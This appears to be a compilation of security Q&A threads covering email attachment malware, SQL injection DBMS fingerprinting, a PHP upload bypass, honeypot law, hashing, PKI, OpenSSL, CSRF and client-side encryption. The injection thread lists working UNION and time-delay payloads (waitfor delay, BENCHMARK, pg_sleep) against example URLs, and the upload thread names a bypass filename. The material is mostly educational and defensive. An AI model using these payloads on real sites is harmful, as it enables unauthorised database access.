Could a third party access my system - particularly browsing history? Could clicking on an e-mail attachment (a Microsoft Excel file) from a trusted source (work colleague) have installed a tracking virus that would have allowed the sender to obtain browsing history from my computer?

I realise this will raise issues of what I was looking at online and why I feel this may have happened to me. The reason I ask is that I generally would only have used my laptop at weekends generally for online learning etc. Concerns that a work colleague may have been able to access my browsing history arose when conversations at the start of the week were detailed around what I had been looking at online at the weekend - initially minor common themes and then around detailed legislation not specifically related to where I work but that I happened to be looking at that weekend.

Have delayed querying this as I do not wish to appear paranoid but would like to know if this is a possibility and how would I find out for sure?

Your question is quite vague, but here are some pointers that might be of help:

Email attachments are a common method for putting malicious files on your machine, along with drive-by downloads.
It's more common to be infected by unknown mail senders or on dubious and unknown websites than by trusted third-parties (except maybe for social network malware which necessarily spreads through your connections)
You can still get infected by trusted parties or on trusted websites, if they have been infected themselves
From your question I take it that you're more worried about your colleague spying on you. If your colleague is not a trained computer security engineer or hasn't done any hacking in his life you're most likely safe! Indeed I don't think that Excel files are commonly used for extracting browser history (if you wanted that information it'd probably be easier to make you install a malicious browser extension)
You must still open these files for them to have any effect. This is in opposition with many Web attacks that run local scripts on your machine simply because you visited the page.
App sandboxing is starting to appear on all major desktop platforms, though not fully deployed yet. If you opened a malicious file with an unsandboxed app, and that file was not detected as malicious by the app or your antivirus, virtually anything could happen to your data and the other apps you use.
With a sandboxed Office app the damage would very likely be contained to your Office instance and would not have any further consequences. I've heard that nowadays you can run Office files in "Protected View", which only allows you to read them but blocks most potential malware.


SQL Injection - Automating the fingerprinting of the DBMS I have a problem I'm hoping someone could help with regarding the fingerprinting of the DBMS using sql injection, in a scripted/automated way to accurately and reliabling determine the DBMS.

I am in the process of writing an sql injection tool from scratch, but I am having problems finding a way/number of ways of fingerprinting the DBMS reliably.
(I am aware that there are lots of excellent tools out there already, but for this project it needs to be written from scratch).

Doing this manually:

Fingerprinting the DBMS manually is a lot easier as it's easier to observe the changes and behaviour of the page, however when trying to do this in an automated fashion with a script/program it becomes a lot more difficult to monitor the behaviour of the page.

Automating this using a scanner/fuzzer:

I am aware that one possible way is to analyse the error messages returned and see whether they contain certain error messages relating to a particular DBMS, but in instances where this is not possible I need another way of doing this.

The problem I am having:

I have also played around with string concatenation methods e.g ...

This uses the fact that different DBMS handles string concantenation with different operators. Concatentation is performed in different DBMS like:

MS SQL : 'string1' + 'string2'
MYSQL : CONCAT('string1','string2')
Oracle : 'string1' || 'string2' or CONCAT('string1','string2')

http://example/index.php?id=1+UNION+SELECT+NULL, CONCAT('sql',+'injection'),NULL,NULL  <-- MYSQL
http://www.example.com/abc.php?id=1 AND 'str1str2' ='str1'+'str2'         <-- MSSQL
http://www.example.com/abc.php?=1 AND 'str1str2'=CONCAT('str1','str2')    <-- MYSQL
http://www.example.com/abc.php?=1 AND 'str1str2'=CONCAT('str1','str2')    <-- ORACLE
http://www.example.com/abc.php?=1 AND 'str1str2'='str1'||'str2'   <-- ORACLE

I can supposedly use this method to see if the string is output on the page or if the page changes or if an error is generated...and so on

but from some testing I have done a number of these concatenation methods appear to work on a number of DBMS (e.g using the + symbol works on both MSSQL and MYSQL), which is no use when I am trying to definatively determine which DBMS it is.

Using different SQL dialect appears to be another possible method, see http://digitizor.com/2009/03/27/sql-injection-2-fingerprinting/, but I can find very little information regarding this method?

Do you know of the best/most reliable way of fingerprinting the DBMS in an automated/scripted fashion?

your help is much appreciated, thanks

If you like to automate fingerprinting i recommend using more than just one indicator, because sometimes it happens to be a little tricky...

Even i hate those timing attacks they are sometimes quite useful... Here another hint on different sql dialects...

(MSSQL)   http://www.example.com/abc.php?id=1; waitfor delay '0:0:10'--

(MySQL)   http://www.example.com/abc.php?id=1; if 1=1 BENCHMARK(1000000000,MD5(1))

(Postgre) http://www.example.com/abc.php?id=1; select pg_sleep(10);


Hacker used picture upload to get PHP code into my site I'm working on a website — right now it's in early stages of testing, not yet launched and just has test data - thank goodness.

First of all, a hacker figured out the password to log onto the websites 'administration' pages*. I think they used a key logger on a friend's computer who logged into the site to give me feedback.

Secondly, they used a picture upload box to upload a PHP file. I have put in strict checking so that only .jpg and .png files are accepted — everything else should have been rejected. Surely there is no way to upload a .jpg file and then change the extension once the file is stored?

Thankfully I also generate new file names when a file is sent to me, so I don't think they were able to locate the file to execute the code.

I just can't seem to figure out how the website let a PHP file through. What's wrong with my security? The validation function code is below:

function ValidateChange_Logo(theForm)
{
   var regexp;
   if (theForm.FileUpload1.value == "")
   {
      alert("You have not chosen a new logo file, or your file is not supported.");
      theForm.FileUpload1.focus();
      return false;
   }
   var extension = theForm.FileUpload1.value.substr(theForm.FileUpload1.value.lastIndexOf('.'));
   if ((extension.toLowerCase() != ".jpg") &&
       (extension.toLowerCase() != ".png"))
   {
      alert("You have not chosen a new logo file, or your file is not supported.");
      theForm.FileUpload1.focus();
      return false;
   }
   return true;
}

Once the file gets to the server, I use the following code to retain the extension, and generate a new random name. It is a bit messy, but it works well.

// Process and Retain File Extension
$fileExt = $_FILES[logo][name];
$reversed = strrev($fileExt);
$extension0 = substr($reversed, 0, 1);
$extension1 = substr($reversed, 1, 1);
$extension2 = substr($reversed, 2, 1);
$fileExtension = ".".$extension2.$extension1.$extension0;
$newName = rand(1000000, 9999999) . $fileExtension;

I've just tested with a name such as logo.php;.jpg and although the picture cannot be opened by the website, it correctly changed the name to 123456.jpg. As for logo.php/.jpg, Windows doesn't allow such a file name.

* Protected pages on the website that allow simple functions: like uploading a picture that then becomes a new logo for the website. FTP details are completely different to the password used to log onto the protected pages on the website. As are database and cPanel credentials. I've ensured that people can't even view the folder and file structure of the site. There is literally no way I can think of to rename a .jpg, or .png extension to .php on this site if you don't have FTP details.

Client side validation
The validation code you have provided is in JavaScript. That suggests it is code that you use to do the validation on the client.
Rule number one of securing webapps is to never trust the client. The client is under the full control of the user - or in this case, the attacker. You can not be sure that any code you send to the client is used for anything, and no blocks you put in place on the client has any security value what so ever. Validation on the client is just for providing a smooth user experience, not to actually enforce any security relevant constraints.
An attacker could just change that piece of JavaScript in their browser, or turn scripts off completely, or just not send the file from a browser but instead craft their own POST request with a tool like curl.
You need to revalidate everything on the server. That means that your PHP must check that the files are of the right type, something your current code doesn't.
How to do that is a broad issue that I think is outside the scope of your question, but this question are good places to start reading. You might want to take a look at your .htaccess files as well.
Getting the extension
Not a security issue maybe, but this is a better way to do it:
$ext = pathinfo($filename, PATHINFO_EXTENSION);

Magic PHP functions

When I store data from edit boxes, I use all three of PHP's functions to clean it:
$cleanedName = strip_tags($_POST[name]); // Remove HTML tags
$cleanedName = htmlspecialchars($cleanedName); // Allow special chars, but store them safely.
$cleanedName = mysqli_real_escape_string($connectionName, $cleanedName);

This is not a good strategy. The fact that you mention this in the context of validating file extensions makes me worried that you are just throwing a couple of security related functions at your input hoping it will solve the problem.
For instance, you should be using prepared statements and not escaping to protect against SQLi. Escaping of HTML tags and special characters to prevent XSS needs to be done after the data is retrieved from the database, and how to do it depends on where you insert that data. And so on, and so on.
Conclusion
I am not saying this to be mean, but you seem to be doing a lot of mistakes here. I would not be surprised if there are other vulnerabilities. If your app handles any sensitive information I would highly recommend that you let someone with security experience have a look at it before you take it into production.


What is the current U.S. law regarding the building of and deployment of honeypots? I have lots of links to information on the topic that I've gathered published since the mid-2000s and this SANS document has always been my goto:

http://www.sans.org/reading-room/whitepapers/legal/cyberlaw-101-primer-laws-related-honeypot-deployments-1746

However, I was wondering if there are more recent changes to the laws and/or a site that is more thorough in treatment of how private parties (contractors) factor into any legal issues that might arise from use of a honeypot deployment.

In other words, what are the references that folks experienced with the topic and/or deployment of honeypots rely of for updates and practical legal knowledge?

I'm not sure this question is answerable on this website (however IMHO it remains a good question and I thank you for this document which highlights the legal impact that using a honeypot may have).

In fact, the document you are linking explains that legal rules surrounding honeypots will deeply vary depending:

On the exact type of honeypot you setup,
The kind of monitoring you use,
The type of advertisement you make regarding the honeypot existence,
The exact usage you intend for this honeypot.

Due to all these factors, the document acknowledges that such question goes beyond the competences of IT Security engineers and requires the intervention of a specialized lawyer.

Sadly on this site there is mostly IT Security engineers, and very few lawyers...

However, this document has the merit to draw the gray line allowing to distinguish what could be considered safe. Other users may want to contribute to it according to their own experience, but as per my understanding this would be:

Do not expect to use any data collected by the honeypot as evidence in a legal affair. These data might be useful for education or statistic purposes, but they will have nearly no legal value when trying to sue a potential attacker. (Such usage remains possible, but will need legal expertise to setup things correctly in advance.)
Do not store any illegal content on the honeypot. Storing child pornography (example taken from your linked document) in order to trick people downloading them is a bad idea. It will be useless (see the point above) and you could actually be sued for owning these images in the first place, no matter the goal.
Ensure that the honeypot cannot be used as a relay for further attacks. Having a poorly isolated honeypot usable as a source for further attacks against third party systems may also bring you into legal trouble. You are meant to be responsible of the security of your own system. Since the honeypot will most likely deliberately show blatant weaknesses, handling it properly to avoid unexpected side-effects will require a special care.
Do not encourage any illegal activity. Do not advertize the honeypot in a dubious way. Either do not advertize it at all, letting automated scanners discovering it, or advertize it officially as some kind of "hackme" educational system. For instance, spreading pseudo "leak" information on the Internet regarding the server to encourage attacker to exploit it can lead you to trouble.
Present the honeypot system as a private monitored system. Honeypots are heavily monitored systems, and there are laws defining the data you may or may not collect regarding other people's, how long you are allowed to keep them and what processing you may do with them. Present the honeypot as much as possible (since some service do not have any banner...) as a private system whose usage imply user's consent to be monitored. This will limit any potential threat regarding this data collection and analysis activity.


Md5 vs Md4 recognition Is there a way to actually find out whether a hash is MD5 or MD4?

For instance:

10c7ccc7a4f0aff03c915c485565b9da is an MD5 hash
be08c2de91787c51e7aee5dd16ca4f76 is an MD4 hash

I know that there is a difference "security wise" but how can someone determine which hash is which "programming wise" or just by the eyes. Or is there really no way to know for sure?

... but how can someone determine which hash is which "programming wise" or just by the eyes. Or is there really no way to know for sure?

Both hash algorithms simply output bytes. There is no visible inherent structure in these bytes and no magic bytes or similar which could be used to detect the algorithm. In fact you would not be able to distinguish between MD4, MD5 or just 128 bit of random data just from looking at the output of the hash.


What is the purpose of this "secure mail link open in browser" I got an email that "supposedly" was secure. It had a link which said that to get secure message follow this link. They could have verified it was me by asking my bank or my smart card to authentication me but they did not.

Now since the link encoded a password in the URL as website (over https), how is this supposed to be more secure? Or is it a security feature of the sending agency (which is sort of a insurance company), as they can now revoke the message and I'm left out with nothing.  example:

this is a secure mail please read it at:

https://agency.org/login.cgi?ywt786u2y18926uye8924uiyew89y6ry3y47832teyutew78832..

click link

And then the browser opens what amounts to the body text of the mail. The link itself is multi use and expires in 7 days.

What kind of security does his actually provide? As far as I understand they sent the link over unsecured channels so its just as prone to hijacking as plain email. Is this giving recipients false sense of security?

I am not asking if its secure as such just trying to understand what the mechanism might be.

Edity:

This is a sort of insurance agency although it is not a insurer in the common sense. Well I was half expecting the mail (in that i knew they would mail me at some point). Although to be honest the mail would have been nearly as informative if it had just said "Done"! Besides they sent me a copy over snail mail anyway (it arrived 3 hours later). But that does not mean they dont send sensitive information.

Edity 2:

Since this is apparently unclear the link is nothing spectacular just a link with a really long hash in the end. The only other thing i can think of is: That it validates the sender is who they say they are. (now I can validate the certificate of the website)

Your question is very unclear but as far as I understood it, this agency sent you a link via email, and the link URL included your credentials, e.g.

https://agency.org/login.php?user=joojaa&password=abcd4321

Of course this is very insecure as URLs can be sniffed (HTTPS protects the content, not the identity of the URL being accessed) and in this case an eavesdropper would have access to your credentials.

Edit: as per OP's comment:

  Yes this is basically how it worked. exept there was no user just a really long password

it appears that the URL contained just a GUID, probably a one-time token. It is difficult to say whether this is secure or not; if this was for the activation of the OP's account, there's probably not to worry. On the other hand, if that token alone allows to login to the OP's account, that's very bad.

Related discussion here: Are GUIDs safe for one-time tokens?


Is a Windows installer that doesn't require admin rights dangerous? I use Atlassian SourceTree on Windows, and one thing I like about it is that it doesn't require admin privileges to install or update. I happened to mention this to our ISSO (Information System Security Officer), and he was not a fan. He said that not requiring admin was dangerous because (to paraphrase) "If it's not asking you for approval, you never know what it's going and changing in the background!"

Now, this person has a tendency to be overly-cautious, so I am skeptical of his assessment. I had always thought that if a program doesn't ask for administrator permissions, it's because it doesn't make deep enough changes to need them. To add to that, our work computers are extremely locked down, so I find it hard to believe that all an installer has to do to get by our security features is to not ask for permission.

So what's the real situation? Can an installer that can run without administrator privileges really be that dangerous?

Installing something without needing admin privileges is no more dangerous than running a no-install program with standard user permissions. This is also less dangerous than installing something WITH admin privileges (or indeed, running anything with admin permissions).

Running a random program downloaded off the internet, of course, is potentially dangerous - even if it doesn't require admin.

If your ISSO's concern is "you're running random internet code, and the author of that code makes it easy for you to be lazy about asking me to vet it", then this is quite valid and factual. (you might debate the cost/benefit, but it is valid)

If the concern is "this installer is more dangerous than other installers or no-install programs because it doesn't escalate its access level", then no, this is factually incorrect.


How to know, in Windows XP, if files were copied, deleted or moved from a pendrive? A pendrive with some sensitive files were connected to a Windows XP computer. I'll have access to that computer, now it's turned off.

How can I analyze if some or all files from my pendrive were copied, moved or deleted? What kind of programs can I use, what files or clues can I have ? I don't know it log were enable in Windows XP.

There could be some more information in your question to help us answering it. Ideally, which Operating System (OS) you have (Windows? any Mac?).

And if I understood correctly, you have a pendrive (flash drive) with some sensitive / important files on it, and it's connected to a computer during some time. And you want to know if someone, using that computer, did copy, move, etc., files from or to the pendrive.

In general, you can't know. Just some OS have ability to create a log of this kind of activity. In those systems, you enable logging for all files access that is made, and then you can erad the log to see if something was read. I'm assuming that you are using Windows home-edition...

To avoid loosing information from your pendrive (someone deleting), the protection is to have a backup somewhere else.

To avoid having sensitive files read from it, the solution is to protect those files with some encryption, so that anyone who copies the file won't be able to read its contents. For example, you can password protect Word / OpenOffice files, you can zip your files using password protection, you can use Truecrypt to create a virtual protected drive inside your pendrive...

Give more details on what you need, and people will be able to give better ideas.


Risk of Production Data in Test / QA Environments Looking for risks associated with seeding QA or Testing environments with data from production.

Other than a compromise of the test environment leading to information disclosure (made worse if that data is PHI), can anyone shed light on additional risks associated with this practice?

The risks are essentially that you have far less control over a development/test environment, more people will have access to larger portions of the data, and it will be used and thought of in a far different way.  Test data often needs to be sent to 3rd parties, across oceans, or other places where you have no control over it.

Essentially, count on your test data getting out of the database in one way or another via screenshots, email, etc.  This doesn't have to be malicious and largely isn't.  For the most part, it will be people merely trying to get their job done.

If the data is senstive in nature like medical records, you need to anonymise the data in some way, but still make it reflect production.


Does rotating proxy provide better privacy? We have anonymous rotating proxy service like ProxyMesh.

  ProxyMesh provides 14 rotating IP address proxy servers, each with 10 IP addresses rotating twice per day, giving you a total of 280 IP addresses per day. When you make a request thru one of these 14 anonymous proxy servers, your request will be randomly routed through one of 10 different proxy IP servers. This make it much harder for sites to track you based on IP addresses. And each location changes IP addresses twice a day, to help you get around IP bans or avoid IP rate limits.

Actually you could build your own rotating proxy via Tor, like this.

Obviously the website you visit could use other technology to track down you(like Cookies). My question is: does rotating proxy increase the difficulty to find your real IP?

does rotating proxy increase the difficulty to find your real IP?

No. Your "real IP" is either disclosed in some way, or it is not. If it is not, it does not matter how many proxies you pass through.

Multiple proxies may make more difficult to track your activity, i.e. establish that actions A and B were both performed by the same entity (for that, see fingerprinting, below).

It might be argued that the more proxies you use, the more likely that one of them will be compromised or misconfigured and will leak your address. In this case the likelihood is low because all proxies will probably be centrally managed.

On the other hand, by using cookies and fingerprinting (you may want to google "panopticlick"), it becomes possible to mark all of your connections as belonging to the same user, let's call him "UNKNOWN-1".

Now knowing that UNKNOWN-1 is using fourteen different servers, if they are distributed around the planet, it is possible, using timing techniques, to estimate the distance (both in hops and in kilometers) between UNKNOWN-1 and each of those servers, albeit with a possibly conspicuous error margin.

If the proxies don't employ time fudging techniques, and chances are that they don't, it becomes possible to restrict your location geographically. Your real IP is still unrevealed, but you're less anonymous than if you used a single proxy.

There are also much more complicated techniques that cross-check your timing data with real-time network traffic status ("Internet weather"). They require resources, time, and a lot of traffic from your host to some monitored facility (even a single website might do). For example if I have restricted your location to somewhere in Southern Europe, if your connections through the Amsterdam proxy begin lagging when the route from Amsterdam to GARR is hosed, and you stop lagging when service is restored, my confidence of you being in Italy increases greatly. At that point I start monitoring service levels for Italian providers...


What happens if the CA has knowledge of private keys? In a classic PKI scenario, the certificate authority receives signing requests generated by an end-user which owns the keychain, and thus has his private key secret.

Consider a scenario in which the CA not only signs certificates, but also generates the requests for the end-user, thus essentially having a copy of all the private keys in the system.

What properties of the PKI are violated in this case? Which attack vectors does this scenario open?

Edit: I should've mentioned this is not in the context of SSL/TLS. Rather, case in point is an organization acting as a CA (and VA, and RA), and creating identification cards for individuals.

I agree with binaryanomaly's answer, except even in the normal operation (where your private key is kept secret) any CA can already impersonate any other user's identity.  The CA merely needs to create a new CSR (for a private key they possess) and then sign it, so now there is a new certificate (that your browser will inherently trust).  Then if they can eavesdrop/alter your network traffic, they could MitM any SSL connection relying on CAs for trust.

Granted, in principle you could detect that the certificate has changed in this scenario (if you actually examine the certificate and look at the modulus or signature).  With the  lost private key model, the CA could use your private key to decrypt your traffic passively, without having to do a MitM attack that replaces your certificate with one that they have the private key for.


Creating a private key with OpenSSL and encrypting it with AES GCM My goal was to create a private key and to encrypt it with a strong cipher. That key would be used as a root certificate for an internal Certification Authority.

However, eventhough openssl supports AES 128 GCM, I cannot generate and encrypt a key using this encryption algorithm. OpenSSL reports error writing key. The AES 128/256 GCM both failed, however AES 128 CBC worked. What am I doing wrong? Do I need extra parameters when using GCM?

Here is the command:

$ openssl genpkey -out ca.key.pem -aes-128-gcm -algorithm rsa -pkeyopt rsa_keygen_bits:4096

The output is this:

.........................................................................+++
............................+++
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Error writing key
:error:23077006:PKCS12 routines:PKCS12_pbe_crypt:EVP lib:p12_decr.c:96:
:error:2306C067:PKCS12 routines:PKCS12_item_i2d_encrypt:encrypt error:p12_decr.c:175:
:error:2307D067:PKCS12 routines:PKCS8_encrypt:encrypt error:p12_p8e.c:88:

Note: most online resources are out-dated (footnote-1) and using the superseded genrsa, or -nodes/-des flags. So I use those online resources as a basis, plus the (also quite outdated) man pages of openssl and the "-help" flag of the various openssl commands to create the above, IMHO up-to-date, command.

In the above command, I've tried to replace -aes-128-gcm with:

-aes-256-gcm
-aes-128-xts
-aes-256-xts

And all failed. The XTS ones failed with the following error:

:error:0D0A706C:asn1 encoding routines:PKCS5_pbe2_set_iv:cipher has no object identifier:p5_pbev2.c:103:
:error:2307D00D:PKCS12 routines:PKCS8_encrypt:ASN1 lib:p12_p8e.c:79:

Using:

-aes-128-cbc (like in an example in the man page from genpkey)
-aes128
-aes256

All worked fine.

Strangely all of the above ciphers are supported by the version of openssl I'm using.

$ openssl enc -help 2>&1 | grep aes | egrep "128|256"
-aes-128-cbc               -aes-128-cfb               -aes-128-cfb1
-aes-128-cfb8              -aes-128-ctr               -aes-128-ecb
-aes-128-gcm               -aes-128-ofb               -aes-128-xts
-aes-192-gcm               -aes-192-ofb               -aes-256-cbc
-aes-256-cfb               -aes-256-cfb1              -aes-256-cfb8
-aes-256-ctr               -aes-256-ecb               -aes-256-gcm
-aes-256-ofb               -aes-256-xts               -aes128
-aes192                    -aes256

Note: tested on Ubuntu 14.04.2, Debian 7.8 and CentOS 7. All exhibited the same behaviour.

footnote-1: If you google "openssl generate self signed root certificate", none of the 5 first results tells you to encrypt your root private certificate with something better than triple DES!?! One link of the 5 1st links advise for 4096 bit, whereas the other provide 2048 or 1024!?! Most do not provide any cipher flag, so the key is not encrypted. Actually, only the 7th link does a decent job at explaining what and how to do it.

Update 20161218: Tested again without success on Ubuntu 16.04 LTS with openssl 1.0.2g.

Updated Answer:

According to: https://groups.google.com/forum/#!msg/mailing.openssl.users/hGggWxfrZbA/unBfGlsfXyoJ the gcm support is currently broken in v1.0.1f (what Ubuntu currently uses). There should be patches out for Version v1.0.1.g which then should have a workable GCM mode. However, currently I would just stick with the CBC mode, as for key wrapping  it is fully supported from openssl genrsa and openssl genpkey

  Old Answer:

  According to the docu: https://www.openssl.org/docs/apps/ciphers.html

  AESGCM
  AES in Galois Counter Mode (GCM): these ciphersuites are only supported in TLS v1.2.

  The changelog of openssl for ubuntu states for a prior version:
  openssl (1.0.1e-4ubuntu2) trusty; urgency=low   * Re-enable full
  TLSv1.2 support (LP: #1257877)
      - debian/patches/tls12_workarounds.patch: disable patch to re-enable
        full TLSv1.2 support. Most problematic sites have been fixed now, and
        we really want proper TLSv1.2 support in an LTS. Currently I have installed 1.0.1f-1ubuntu9.1, so at least in theory it should
  work. But I can assure you, it does not. Maybe the modes are still
  considered broken, but I'm just assuming.


Why do websites limit password length? I just made a new account with some eGov service (Belgian government).
I use LastPass (which generates long, random strings for each site),

But the system told me that the maximum allowed length was 16 ASCII symbols. Why do people do this? If they hash it, then the length should not matter, right?

Is there a reason for this? I cannot see a any good explanation for this. What am I missing something here?

Some hash functions are based on block ciphers like DES. The maximum (effective) input size of these algorithms are limited by the block-size of the internal cipher. See for example:

http://man7.org/linux/man-pages//man3/crypt.3.html

https://en.wikipedia.org/wiki/LM_hash

There is of course a non-negligible possibility (we are talking about eGov) that the password storage of your particular service is fundamentally flawed.


What parameters define information sensitivity? Since information is generally consumed by different parties for various reasons, what parameters define information sensitivity?

For example marketing may define "customer" data such as name and email address as not being sensitive while another department such as human resource may.

Sensitivity of data is determined by the data owner who is responsible for classifying the information and also liable in case the information gets compromised. So no matter if data is used by human resources department or marketing, the classification will stay the same. The relevant metric for estimating the sensitivity is closely related to the cost of the data, id est:

the necessary effort to reproduce the data if lost
the financial cost of acquiring the data initially
the reputation loss in case of a successful incident
the intellectual property that might get infringed

All these metrics vary in gravity according to the institution. For example R&D data is hard to reproduce, impossible to rebuy and you lose intellectual property, so it should be classified as confidential. The reputation loss plays a minor role. When patenting is over, the classification will be much lower.


How much security information to publicise? Apologies if this in the wrong section, not sure if it should go in Server Fault or not.

I am preparing to launch a new web app. We have put a lot of effort into offering good security. From a PR perspective, I need to mention some of what we are doing - security is a fundamental part, and selling point, of this project and details will be expected.

So, my question is, how much do we give away without compromising our security. Do you bang on about fw/proxies, nids, hids, honeyd, compartmentalised architecture and watchdogs etc, or just "we're PCI compliant".

I should point out that a fair number of the users, especially early doors, will be security conscious and knowledgable; does being "PCI Compiant" cut it?

Focus less on giving a detailed security report and more on answering the user's potential questions.

If your app uses TLS to communicate with the servers, then that's a bullet point for your security page. If you hash your passwords with pbkdf2, there's another. If you store a backup copy of user credentials on a server hosted with Amazon in zone us-east-1a... ok, you can probably see why that detail doesn't really answer your user's questions, but just provides attack information.

With PCI compliance; if you accept credit cards, you're assumed to be PCI compliant. And anyway, PCI is about protecting credit cards, not users. Visa cares about whether you store CVV2s, not about whether you sell customer phone numbers on russian forums. There's a world of difference between true identity theft and credit card number theft, and the Payment Card Industry is only financially liable for the latter.

Instead, you might want to point out certain aspects of the PCI compliance testing that would be relevant to the users. "Security practices and infrastructure rigorously audited by [company name]."


Is there any merit to the RFC 3414 (SNMPv3 User Security Model) password-to-key method? RFC 3414 (published 2002) specifies a method of generating keys based on password in its Appendix, which essentially takes any "passphrase", and keeps on repeating it until there is a 1MB string, at which point it takes either the SHA1 or MD5 of that data to use as the key:

  /**********************************************/
  /* Use while loop until we've done 1 Megabyte */
  /**********************************************/
  while (count < 1048576) {
     cp = password_buf;
     for (i = 0; i < 64; i++) {
         /*************************************************/
         /* Take the next octet of the password, wrapping */
         /* to the beginning of the password as necessary.*/
         /*************************************************/
         *cp++ = password[password_index++ % passwordlen];
     }
     SHAUpdate (&SH, password_buf, 64);
     count += 64;
  }
  SHAFinal (key, &SH);          /* tell SHA we're done */

It also states a minimum length security requirement:

  SNMP
     implementations (and SNMP configuration applications) must ensure
     that passwords are at least 8 characters in length.

And then makes the observation:

  Please note that
     longer passwords with repetitive strings may result in exactly the
     same key.  For example, a password 'bertbert' will result in exactly
     the same key as password 'bertbertbert'.

It seems to be a well known "workaround" to the 8 character minimum to just repeat your input: If you want to use the password a, just enter aaaaaaaa. In fact, in either case it will actually be converted to a repeated 1048576 times (1MB), and then hashed. If you are trying to brute force the password, the passwords a, aa, aaa and aaaaaa....aaaaaa are all identical (and you don't need to try all of the variations).

Everything I understand about password security and hashing tells me this is not only a stupid design, but actually undermines the hash algorithm and lowers security. Is there actually a benefit to this method of key generation? How the heck did this get into an RFC explicitly concerned with security?

Everything I understand about password security and hashing tells me this is not only a stupid design, but actually undermines the hash algorithm and lowers security.

Special Publication 800-63B on Digital Identity Guidelines suggests passwords need not be long and complex but rather has the following to say about passwords:

  A minimum of eight characters and a maximum length of at least 64 characters
  The ability to use all special characters but no special requirement to use them
  Restrict sequential and repetitive characters (e.g. 12345 or aaaaaa)
  Restrict context specific passwords (e.g. the name of the site, etc.)
  Restrict commonly used passwords (e.g. p@ssw0rd, etc.) and dictionary words
  Restrict passwords obtained from previous breach corpuses

I would say that rfc3414 does not inhibit these guidelines and an implementation could provide additional guidelines for password generation. Section 11.2 seems to plead for implementers to encourage good passwords. It should also be noted that the wording in 11.2 seems to indicate the algorithm is an example, and not the requirement.

  Is there actually a benefit to this method of key generation?

In section 2.6 a key localization technique is described
The example in the appendix has the additional (third) argument of engineID which is specific to the authoritative SNMP engine.

void password_to_key_md5(
      u_char *password,    /* IN */
      u_int   passwordlen, /* IN */
      u_char *engineID,    /* IN  - pointer to snmpEngineID  */
      u_int   engineLength,/* IN  - length of snmpEngineID */
      u_char *key)         /* OUT - pointer to caller 16-octet buffer */

So essentially the password is salted.

  How the heck did this get into an RFC explicitly concerned with security?

Keep in mind that this was written not too long after the time when password hashing in Windows was:

MD4(UTF-16-LE(password))


Offering a privacy scenario with PHP mcrypt library first of all, sorry if my question is not clear, because English is not my first language. Anyway, let-me explain the concept I'm struggling to solve as the best solution. I have some guys, and they want privacy for their cloud (hosting their files). Ok, cryptography is the way to go I believe. So I did some quick research and found that I can crypt their files with PHP and store them crypted in the cloud's server. But this way, to decrypt their files and give them a download of the original file, I'll need to get their crypt key (supposed to be secret and kept only in client side) and use it in PHP mcrypt, to decrypt the file. This way, I create a possibility to 'hook' their crypt keys, and decrypt their files even without the permission. Ok, I don't pretend to do that, but I want to "wash my hands" (maybe this expression doesn't work well in English, but try to understand) about what they are hosting there. If anytime, for legal purposes I get obligated to get the key of some user and decrypt the files, I just don't want to have any ways to do that. Is there any way to do this with the PHP mcrypt library? Maybe doing some hashing function with their crypt key (just supposing) or maybe processing the downloaded file in the client side via javascript (is that even possible?)

I have some guys, and they want privacy for their cloud (hosting their files).

Sounds like a common goal these days.

  Ok, cryptography is the way to go I believe.

Right.

  So I did some quick research and found that I can crypt their files with PHP and store them crypted in the cloud's server. But this way, to decrypt their files and give them a download of the original file, I'll need to get their crypt key (supposed to be secret and kept only in client side) and use it in PHP mcrypt, to decrypt the file.

If you're typing the word MCRYPT into your PHP code, you're doing it wrong.

  This way, I create a possibility to 'hook' their crypt keys, and decrypt their files even without the permission. Ok, I don't pretend to do that, but I want to "wash my hands" (maybe this expression doesn't work well in English, but try to understand) about what they are hosting there. If anytime, for legal purposes I get obligated to get the key of some user and decrypt the files, I just don't want to have any ways to do that. Is

So basically, you're realizing the limitations of symmetric cryptography: If you have a copy of the key, you can decrypt it.

  Is there any way to do this with the PHP mcrypt library? Maybe doing some hashing function with their crypt key (just supposing) or maybe processing the downloaded file in the client side via javascript (is that even possible?)

No, you cannot do this with mcrypt. You can do it in general, however.

A Better Solution than Mcrypt

Just use libsodium. Specifically, you can use libsodium.js in a web browser, Chrome extension, or Electron desktop application. Encrypt files with crypto_box_seal(), decrypt them on the user's machine with crypto_box_seal_open().

If you need to store anything in the server (i.e. for cross-device encryption), only store the salt (for crypto_pwhash() and crypto_box_seed_keypair()) and require your users to remember a password.

This allows you to design your application with respect to the principle of least privilege and never see their ciphertext. Your users don't need to trust your server operator for anything except availability. Even if you receive a subpoena, you can't decrypt their files.


Does custom header for CSRF protection invalidate CSRF protection A penetration testing is ordered on one of the web sites. I have implemented OWASP CSRF Guard on the web site. It uses custom headers for CSRF protection for AJAX. This got flagged with subject message. No explanation is given. I am not sure if the above statement is true. Why does it invalidate?

Note:

Please note that the presence of the CSRF token in the HTTP header invalidates the
CSRF protection.

The OWASP Csrf Guard adds to ajax requests a custom header, "you specify the name". So the http header for my ajax call looks like
"csrftoken: 4949-2393-....." This token then gets checked by the filter.

He's saying that this is not an enough protection and an attacker can access the custom http header and value. I did not think this was doable using GET or ajax calls. Assuming the attacker knows the header, (registered on the site), how can he determine the value of the token?

I don't get it.

Using custom headers to mitigate CSRF does work, however, this isn't considered best practice. Best practice is to include a CSRF token as a parameter in all state changing requests to ensure the request is from within the domain. The main concern for using custom headers to mitigate CSRF is that it's unknown if in the future an attacker will be able to send custom headers in cross-site requests.

This post does a really good job explaining why this isn't the best idea.


Does a VPN Router also encrypts the data being sent from a mobile device I have 3 questions about a VPN and especially a VPN Router:

1) I know exactly what a VPN is and what wifi encryption (wpa/wpa2 etc.) is, but what I can't seem to understand is if a VPN Router will add more encryption on the wifi via a secured & encrypted private tunnel etc.
If indeed that's the case so how does the mobile device "knows" to "talk VPN and AES-256 encryption"? It would have to have a VPN also installed on itself, right? From the router to the outside world it's obvious - it gets encrypted and sent through a secured tunnel to the VPN server(s).

